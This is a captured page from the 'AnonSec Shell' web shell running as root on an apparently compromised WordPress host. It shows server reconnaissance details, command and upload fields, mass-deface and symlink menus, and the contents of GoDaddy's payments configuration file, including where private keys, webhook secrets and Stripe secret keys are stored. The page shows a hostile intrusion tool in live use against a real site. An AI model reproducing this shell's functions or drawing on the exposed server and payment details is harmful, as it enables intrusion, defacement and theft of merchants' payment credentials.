AnonSec Shell
Server IP : 104.21.14.48  /  Your IP : 3.137.219.16   [ Reverse IP ]
Web Server : Apache
System : Linux b70eb322-3aee-0c53-7c82-0db91281f2c6.secureserver.net 6.1.90-1.el9.elrepo.x86_64 #1 SMP PREEMPT_DYNAMIC Thu May 2 12:09:22 EDT 2024 x86_64
User : root ( 0)
PHP Version : 8.0.30.2
Disable Function : NONE
Domains : 0 Domains
MySQL : ON  |  cURL : ON  |  WGET : ON  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /var/www/wp-content/mu-plugins/vendor/godaddy/mwc-core/configurations/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME ]     [ BACKUP SHELL ]     [ JUMPING ]     [ MASS DEFACE ]     [ SCAN ROOT ]     [ SYMLINK ]     

Current File : /var/www/wp-content/mu-plugins/vendor/godaddy/mwc-core/configurations/payments.php
<?php

return [

    'api' => [
        'productionRoot' => defined('MWC_PAYMENTS_API_ROOT') ? MWC_PAYMENTS_API_ROOT : 'https://api.mwc.secureserver.net/v1/payments',
        'stagingRoot'    => defined('MWC_PAYMENTS_API_ROOT') ? MWC_PAYMENTS_API_ROOT : 'https://api-test.mwc.secureserver.net/v1/payments',
    ],

    /*
     *--------------------------------------------------------------------------
     * Payments Settings
     *--------------------------------------------------------------------------
     */
    'providers' => [
        \GoDaddy\WordPress\MWC\Core\Payments\Providers\PoyntProvider::class,
        \GoDaddy\WordPress\MWC\Core\Payments\Providers\StripeProvider::class,
        \GoDaddy\WordPress\MWC\Core\Payments\Providers\PoyntPayInPersonProvider::class,
    ],

    /*
     *--------------------------------------------------------------------------
     * Poynt Payment gateways Settings
     *--------------------------------------------------------------------------
     */
    'poynt' => [
        'active'              => defined('MWC_GODADDY_PAYMENTS_IS_ACTIVE') ? MWC_GODADDY_PAYMENTS_IS_ACTIVE : 'yes' === get_option('mwc_payments_poynt_active', 'yes'),
        'capturePaidOrders'   => true,
        'chargeVirtualOrders' => false,
        'detailedDecline'     => false,
        'paymentMethods'      => true,
        'transactionType'     => 'authorization',
        'debugMode'           => 'off',
        'webhookSecret'       => defined('MWC_PAYMENTS_POYNT_WEBHOOK_SECRET') ? MWC_PAYMENTS_POYNT_WEBHOOK_SECRET : get_option('mwc_payments_poynt_webhookSecret', ''),
        'accountsApi'         => [
            'productionRoot' => defined('MWC_PAYMENTS_POYNT_ACCOUNTS_API_ROOT') ? MWC_PAYMENTS_POYNT_ACCOUNTS_API_ROOT : 'https://poynt.godaddy.com/api',
            'stagingRoot'    => defined('MWC_PAYMENTS_POYNT_ACCOUNTS_API_ROOT') ? MWC_PAYMENTS_POYNT_ACCOUNTS_API_ROOT : 'https://poynt.test-godaddy.com/api',
        ],

        // Gateway API settings
        'api' => [
            'productionRoot'   => defined('MWC_PAYMENTS_POYNT_API_ROOT') ? MWC_PAYMENTS_POYNT_API_ROOT : 'https://services.poynt.net',
            'stagingRoot'      => defined('MWC_PAYMENTS_POYNT_API_ROOT') ? MWC_PAYMENTS_POYNT_API_ROOT : 'https://services-test.poynt.net',
            'source'           => defined('MWC_PAYMENTS_POYNT_API_SOURCE') ? MWC_PAYMENTS_POYNT_API_SOURCE : 'mwp.godaddy-payments',
            'token'            => defined('MWC_PAYMENTS_POYNT_API_TOKEN') ? MWC_PAYMENTS_POYNT_API_TOKEN : get_option('mwc_payments_poynt_api_token'),
            'productionSdkUrl' => defined('MWC_PAYMENTS_POYNT_SDK_URL') ? MWC_PAYMENTS_POYNT_SDK_URL : 'https://cdn.poynt.net/collect.js',
            'stagingSdkUrl'    => defined('MWC_PAYMENTS_POYNT_SDK_URL') ? MWC_PAYMENTS_POYNT_SDK_URL : 'https://cdn.poynt.net/test/collect-test.js',
            'userAgent'        => defined('MWC_PAYMENTS_POYNT_USER_AGENT') ? MWC_PAYMENTS_POYNT_USER_AGENT : 'GoDaddy-Payments-for-MWP',
        ],

        'hub' => [
            'productionUrl' => defined('MWC_PAYMENTS_POYNT_HUB_URL') ? MWC_PAYMENTS_POYNT_HUB_URL : 'https://payments.godaddy.com',
            'stagingUrl'    => defined('MWC_PAYMENTS_POYNT_HUB_URL') ? MWC_PAYMENTS_POYNT_HUB_URL : 'https://payments.test-godaddy.com',
            'routes'        => [
                'settings'     => 'settings',
                'transactions' => 'transactions',
            ],
        ],

        // Account settings
        'applicationId'     => defined('MWC_PAYMENTS_POYNT_APPLICATION_ID') ? MWC_PAYMENTS_POYNT_APPLICATION_ID : get_option('mwc_payments_poynt_applicationId'),
        'appId'             => defined('MWC_PAYMENTS_POYNT_APP_ID') ? MWC_PAYMENTS_POYNT_APP_ID : get_option('mwc_payments_poynt_appId'),
        'businessId'        => defined('MWC_PAYMENTS_POYNT_BUSINESS_ID') ? MWC_PAYMENTS_POYNT_BUSINESS_ID : get_option('mwc_payments_poynt_businessId'),
        'businessCreatedAt' => defined('MWC_PAYMENTS_POYNT_BUSINESS_CREATED_AT') ? MWC_PAYMENTS_POYNT_BUSINESS_CREATED_AT : get_option('mwc_payments_poynt_businessCreatedAt'),
        'privateKey'        => defined('MWC_PAYMENTS_POYNT_PRIVATE_KEY') ? MWC_PAYMENTS_POYNT_PRIVATE_KEY : get_option('mwc_payments_poynt_privateKey', ''),
        'publicKey'         => defined('MWC_PAYMENTS_POYNT_PUBLIC_KEY') ? MWC_PAYMENTS_POYNT_PUBLIC_KEY : get_option('mwc_payments_poynt_publicKey', ''),
        'serviceId'         => defined('MWC_PAYMENTS_POYNT_SERVICE_ID') ? MWC_PAYMENTS_POYNT_SERVICE_ID : get_option('mwc_payments_poynt_serviceId', ''),
        'serviceType'       => defined('MWC_PAYMENTS_POYNT_SERVICE_TYPE') ? MWC_PAYMENTS_POYNT_SERVICE_TYPE : 'mwp.godaddy-payments',
        'siteStoreId'       => defined('MWC_PAYMENTS_POYNT_SITE_STORE_ID') ? MWC_PAYMENTS_POYNT_SITE_STORE_ID : get_option('mwc_payments_poynt_siteStoreId'),
        'storeId'           => defined('MWC_PAYMENTS_POYNT_STORE_ID') ? MWC_PAYMENTS_POYNT_STORE_ID : get_option('mwc_payments_poynt_storeId'),

        'onboarding' => [
            'hasBankAccount'      => get_option('mwc_payments_poynt_onboarding_hasBankAccount', false),
            'hasFirstPayment'     => get_option('mwc_payments_poynt_onboarding_hasFirstPayment', false),
            'hasSwitchedAccounts' => get_option('mwc_payments_poynt_onboarding_hasSwitchedAccounts', false),
            'depositsEnabled'     => get_option('mwc_payments_poynt_onboarding_depositsEnabled', false),
            'paymentsEnabled'     => get_option('mwc_payments_poynt_onboarding_paymentsEnabled', false),
            'actionsRequired'     => get_option('mwc_payments_poynt_onboarding_actionsRequired', []),
            'signupStarted'       => defined('MWC_PAYMENTS_POYNT_ONBOARDING_SIGNUP_STARTED') ? MWC_PAYMENTS_POYNT_ONBOARDING_SIGNUP_STARTED : 'yes' === get_option('mwc_payments_poynt_onboarding_signupStarted', 'no'),
            'status'              => defined('MWC_PAYMENTS_POYNT_ONBOARDING_STATUS') ? MWC_PAYMENTS_POYNT_ONBOARDING_STATUS : get_option('mwc_payments_poynt_onboarding_status', ''),
            'webhookSecret'       => defined('MWC_PAYMENTS_POYNT_ONBOARDING_WEBHOOK_SECRET') ? MWC_PAYMENTS_POYNT_ONBOARDING_WEBHOOK_SECRET : get_option('mwc_payments_poynt_onboarding_webhookSecret', ''),
            'productionUrl'       => defined('MWC_PAYMENTS_POYNT_ONBOARDING_URL') ? MWC_PAYMENTS_POYNT_ONBOARDING_URL : 'https://signup.payments.godaddy.com/r/mwp',
            'stagingUrl'          => defined('MWC_PAYMENTS_POYNT_ONBOARDING_URL') ? MWC_PAYMENTS_POYNT_ONBOARDING_URL : 'https://signup.payments.test-godaddy.com/r/mwcpaymentstest',
        ],

        'webhooks' => ! (defined('DISABLE_MWC_GODADDY_PAYMENTS_WEBHOOKS') && DISABLE_MWC_GODADDY_PAYMENTS_WEBHOOKS),
    ],

    /*
     *--------------------------------------------------------------------------
     * Poynt SIP gateway configurations
     *--------------------------------------------------------------------------
     */
    'godaddy-payments-payinperson' => [
        'capturePaidOrders'    => false,
        'paymentMethods'       => true,
        'hasTerminalActivated' => defined('MWC_PAYMENTS_PAYINPERSON_TERMINAL_ACTIVATED') ? MWC_PAYMENTS_PAYINPERSON_TERMINAL_ACTIVATED : get_option('mwc_payments_payinperson_terminal_activated', false),
        'sync'                 => [
            'pull' => [
                'isHealthy'        => 'no' !== get_option('mwc_payments_sync_pull_isHealthy'),
                'isSyncing'        => 'yes' === get_option('mwc_payments_sync_pull_isSyncing'),
                'syncedCatalogIds' => get_option('mwc_payments_sync_pull_syncedCatalogIds', []),
            ],
            'push' => [
                'isHealthy'        => 'no' !== get_option('mwc_payments_sync_push_isHealthy'),
                'isSyncing'        => 'yes' === get_option('mwc_payments_sync_push_isSyncing'),
                'syncedCatalogIds' => get_option('mwc_payments_sync_push_syncedCatalogIds', []),
            ],
        ],
        // whether to trigger a one-time event that broadcasts synced products
        'broadcastSyncedProducts' => defined('MWC_PAYMENTS_POYNT_BROADCAST_SYNCED_PRODUCTS') && MWC_PAYMENTS_POYNT_BROADCAST_SYNCED_PRODUCTS,
    ],

    /*
     *--------------------------------------------------------------------------
     * Stripe payments configurations
     *--------------------------------------------------------------------------
     */
    'stripe' => [
        'enabled'         => false,
        'detailedDecline' => false,
        'paymentMethods'  => true,
        'transactionType' => 'authorization',
        'debugMode'       => 'off',
        'accountId'       => get_option('mwc_payments_stripe_accountId', null),
        'api'             => [
            'publicKey' => get_option('mwc_payments_stripe_api_publicKey', null),
            'secretKey' => get_option('mwc_payments_stripe_api_secretKey', null),
            'appInfo'   => [
                'name'      => 'GoDaddy WooCommerce Stripe',
                'partnerId' => 'acct_1LVfgeE7KC7xJxTe',
                'url'       => 'https://godaddy.com',
            ],
        ],
        'onboarding' => [
            'webhookSecret' => defined('MWC_PAYMENTS_STRIPE_ONBOARDING_WEBHOOK_SECRET') ? MWC_PAYMENTS_STRIPE_ONBOARDING_WEBHOOK_SECRET : get_option('mwc_payments_stripe_onboarding_webhookSecret', ''),
        ],
        'status' => get_option('mwc_payments_stripe_status', null),
    ],
];

Anon7 - 2022
AnonSec Team